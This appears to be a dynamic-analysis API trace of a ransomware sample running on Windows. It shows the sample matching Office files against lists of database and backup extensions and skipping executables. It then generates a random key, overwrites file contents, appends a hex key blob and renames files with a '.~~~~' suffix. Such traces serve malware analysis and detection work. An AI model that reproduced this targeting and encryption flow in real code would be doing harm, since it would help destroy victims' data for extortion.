	[0140.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".DBX") returned 0x0
	[0140.261] lstrlenW (lpString=".MDT") returned 4
	[0140.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".MDT") returned 0x0
	[0140.261] lstrlenW (lpString=".SQB") returned 4
	[0140.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".SQB") returned 0x0
	[0140.261] lstrlenW (lpString=".vhd") returned 4
	[0140.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".vhd") returned 0x0
	[0140.261] lstrlenW (lpString=".bac") returned 4
	[0140.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".bac") returned 0x0
	[0140.261] lstrlenW (lpString=".mdf") returned 4
	[0140.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".mdf") returned 0x0
	[0140.261] lstrlenW (lpString=".BAK") returned 4
	[0140.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".BAK") returned 0x0
	[0140.261] lstrlenW (lpString=".BAC") returned 4
	[0140.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".BAC") returned 0x0
	[0140.261] lstrlenW (lpString=".dbs") returned 4
	[0140.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".dbs") returned 0x0
	[0140.261] lstrlenW (lpString=".vhdx") returned 5
	[0140.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.262] lstrlenW (lpString=".NDF") returned 4
	[0140.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".NDF") returned 0x0
	[0140.262] lstrlenW (lpString=".dat") returned 4
	[0140.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".dat") returned 0x0
	[0140.262] lstrlenW (lpString=".DBS") returned 4
	[0140.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".DBS") returned 0x0
	[0140.262] lstrlenW (lpString=".CKP") returned 4
	[0140.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".CKP") returned 0x0
	[0140.262] lstrlenW (lpString=".edb") returned 4
	[0140.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".edb") returned 0x0
	[0140.262] lstrlenW (lpString=".PST") returned 4
	[0140.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".PST") returned 0x0
	[0140.262] lstrlenW (lpString=".dbf") returned 4
	[0140.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".dbf") returned 0x0
	[0140.262] lstrlenW (lpString=".SQL") returned 4
	[0140.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".SQL") returned 0x0
	[0140.262] lstrlenW (lpString=".pst") returned 4
	[0140.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".pst") returned 0x0
	[0140.262] lstrlenW (lpString=".dbv") returned 4
	[0140.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".dbv") returned 0x0
	[0140.262] lstrlenW (lpString=".SDF") returned 4
	[0140.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".SDF") returned 0x0
	[0140.262] lstrlenW (lpString=".dtxs") returned 5
	[0140.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.263] lstrlenW (lpString=".db3") returned 4
	[0140.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".db3") returned 0x0
	[0140.263] lstrlenW (lpString=".OST") returned 4
	[0140.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".OST") returned 0x0
	[0140.263] lstrlenW (lpString=".dbx") returned 4
	[0140.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".dbx") returned 0x0
	[0140.263] lstrlenW (lpString=".DB3") returned 4
	[0140.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".DB3") returned 0x0
	[0140.263] lstrlenW (lpString=".DAT") returned 4
	[0140.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".DAT") returned 0x0
	[0140.263] lstrlenW (lpString=".VHDX") returned 5
	[0140.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.263] lstrlenW (lpString=".ndf") returned 4
	[0140.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".ndf") returned 0x0
	[0140.263] lstrlenW (lpString=".DB") returned 3
	[0140.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".DB") returned 0x0
	[0140.263] lstrlenW (lpString=".sql") returned 4
	[0140.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".sql") returned 0x0
	[0140.263] lstrlenW (lpString=".MYD") returned 4
	[0140.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".MYD") returned 0x0
	[0140.263] lstrlenW (lpString=".DBT") returned 4
	[0140.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".DBT") returned 0x0
	[0140.264] lstrlenW (lpString=".ACCDB") returned 6
	[0140.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.264] lstrlenW (lpString=".fdb") returned 4
	[0140.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".fdb") returned 0x0
	[0140.264] lstrlenW (lpString=".bak") returned 4
	[0140.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".bak") returned 0x0
	[0140.264] lstrlenW (lpString=".myd") returned 4
	[0140.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".myd") returned 0x0
	[0140.264] lstrlenW (lpString=".DTXS") returned 5
	[0140.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.264] lstrlenW (lpString=".ckp") returned 4
	[0140.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".ckp") returned 0x0
	[0140.264] lstrlenW (lpString=".dbt") returned 4
	[0140.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".dbt") returned 0x0
	[0140.264] lstrlenW (lpString=".db") returned 3
	[0140.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".db") returned 0x0
	[0140.264] lstrlenW (lpString=".TXT") returned 4
	[0140.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".TXT") returned 0x0
	[0140.264] lstrlenW (lpString=".MDF") returned 4
	[0140.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".MDF") returned 0x0
	[0140.264] lstrlenW (lpString=".bdb") returned 4
	[0140.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".bdb") returned 0x0
	[0140.264] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0140.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.265] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0140.266] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.266] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0140.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0140.266] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26025627107) returned 1
	[0140.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbd0426f0, dwHighDateTime=0x1d60e1e)) 
	[0140.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0140.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0140.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0140.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e52a0
	[0140.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e52a0 | out: hHeap=0x300000) returned 1
	[0140.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e1f0
	[0140.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0140.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e1f0 | out: hHeap=0x300000) returned 1
	[0140.267] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0140.267] GetLastError () returned 0x0
	[0140.267] GetLastError () returned 0x0
	[0140.267] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0140.268] GetLastError () returned 0x0
	[0140.268] GetLastError () returned 0x0
	[0140.268] ReadFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x5cb7, lpOverlapped=0x0) returned 1
	[0140.282] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffa349, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.282] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x5cb7, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x5cb7, lpOverlapped=0x0) returned 1
	[0140.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0140.282] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.282] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.282] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.282] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.282] CloseHandle (hObject=0xc4) returned 1
	[0140.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e1f0
	[0140.283] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir14f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir14f.gif.~~~~")) returned 1
	[0140.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e1f0 | out: hHeap=0x300000) returned 1
	[0140.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0140.286] GetLastError () returned 0x0
	[0140.286] RtlWakeConditionVariable () returned 0x0
	[0140.286] GetCurrentThreadId () returned 0x9f4
	[0140.286] GetCurrentThreadId () returned 0x9f4
	[0140.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0140.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38dcb0 | out: hHeap=0x300000) returned 1
	[0140.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5268 | out: hHeap=0x300000) returned 1
	[0140.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38dcb0
	[0140.286] lstrlenW (lpString=".scr") returned 4
	[0140.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".scr") returned 0x0
	[0140.286] lstrlenW (lpString=".cmd") returned 4
	[0140.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".cmd") returned 0x0
	[0140.287] lstrlenW (lpString=".dll") returned 4
	[0140.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".dll") returned 0x0
	[0140.287] lstrlenW (lpString=".bat") returned 4
	[0140.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".bat") returned 0x0
	[0140.287] lstrlenW (lpString=".cpl") returned 4
	[0140.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".cpl") returned 0x0
	[0140.287] lstrlenW (lpString=".sys") returned 4
	[0140.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".sys") returned 0x0
	[0140.287] lstrlenW (lpString=".msc") returned 4
	[0140.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".msc") returned 0x0
	[0140.287] lstrlenW (lpString=".com") returned 4
	[0140.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".com") returned 0x0
	[0140.287] lstrlenW (lpString=".lnk") returned 4
	[0140.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".lnk") returned 0x0
	[0140.287] lstrlenW (lpString=".msp") returned 4
	[0140.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".msp") returned 0x0
	[0140.287] lstrlenW (lpString=".pif") returned 4
	[0140.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".pif") returned 0x0
	[0140.287] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir15f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0140.289] lstrlenW (lpString=".sqb") returned 4
	[0140.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".sqb") returned 0x0
	[0140.290] lstrlenW (lpString=".ost") returned 4
	[0140.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".ost") returned 0x0
	[0140.290] lstrlenW (lpString=".txt") returned 4
	[0140.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".txt") returned 0x0
	[0140.290] lstrlenW (lpString=".mdt") returned 4
	[0140.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".mdt") returned 0x0
	[0140.290] lstrlenW (lpString=".BDB") returned 4
	[0140.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".BDB") returned 0x0
	[0140.290] lstrlenW (lpString=".eql") returned 4
	[0140.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".eql") returned 0x0
	[0140.290] lstrlenW (lpString=".DBF") returned 4
	[0140.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".DBF") returned 0x0
	[0140.290] lstrlenW (lpString=".EQL") returned 4
	[0140.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".EQL") returned 0x0
	[0140.290] lstrlenW (lpString=".FDB") returned 4
	[0140.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".FDB") returned 0x0
	[0140.290] lstrlenW (lpString=".EDB") returned 4
	[0140.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".EDB") returned 0x0
	[0140.290] lstrlenW (lpString=".DACPAC") returned 7
	[0140.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.290] lstrlenW (lpString=".VHD") returned 4
	[0140.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".VHD") returned 0x0
	[0140.290] lstrlenW (lpString=".DBV") returned 4
	[0140.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".DBV") returned 0x0
	[0140.290] lstrlenW (lpString=".dacpac") returned 7
	[0140.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.291] lstrlenW (lpString=".sdf") returned 4
	[0140.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".sdf") returned 0x0
	[0140.291] lstrlenW (lpString=".accdb") returned 6
	[0140.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".accdb") returned 0x0
	[0140.291] lstrlenW (lpString=".DBX") returned 4
	[0140.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".DBX") returned 0x0
	[0140.291] lstrlenW (lpString=".MDT") returned 4
	[0140.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".MDT") returned 0x0
	[0140.291] lstrlenW (lpString=".SQB") returned 4
	[0140.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".SQB") returned 0x0
	[0140.291] lstrlenW (lpString=".vhd") returned 4
	[0140.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".vhd") returned 0x0
	[0140.291] lstrlenW (lpString=".bac") returned 4
	[0140.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".bac") returned 0x0
	[0140.291] lstrlenW (lpString=".mdf") returned 4
	[0140.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".mdf") returned 0x0
	[0140.291] lstrlenW (lpString=".BAK") returned 4
	[0140.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".BAK") returned 0x0
	[0140.291] lstrlenW (lpString=".BAC") returned 4
	[0140.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".BAC") returned 0x0
	[0140.291] lstrlenW (lpString=".dbs") returned 4
	[0140.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".dbs") returned 0x0
	[0140.292] lstrlenW (lpString=".vhdx") returned 5
	[0140.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.292] lstrlenW (lpString=".NDF") returned 4
	[0140.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".NDF") returned 0x0
	[0140.292] lstrlenW (lpString=".dat") returned 4
	[0140.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".dat") returned 0x0
	[0140.292] lstrlenW (lpString=".DBS") returned 4
	[0140.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".DBS") returned 0x0
	[0140.292] lstrlenW (lpString=".CKP") returned 4
	[0140.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".CKP") returned 0x0
	[0140.292] lstrlenW (lpString=".edb") returned 4
	[0140.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".edb") returned 0x0
	[0140.292] lstrlenW (lpString=".PST") returned 4
	[0140.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".PST") returned 0x0
	[0140.292] lstrlenW (lpString=".dbf") returned 4
	[0140.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".dbf") returned 0x0
	[0140.292] lstrlenW (lpString=".SQL") returned 4
	[0140.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".SQL") returned 0x0
	[0140.292] lstrlenW (lpString=".pst") returned 4
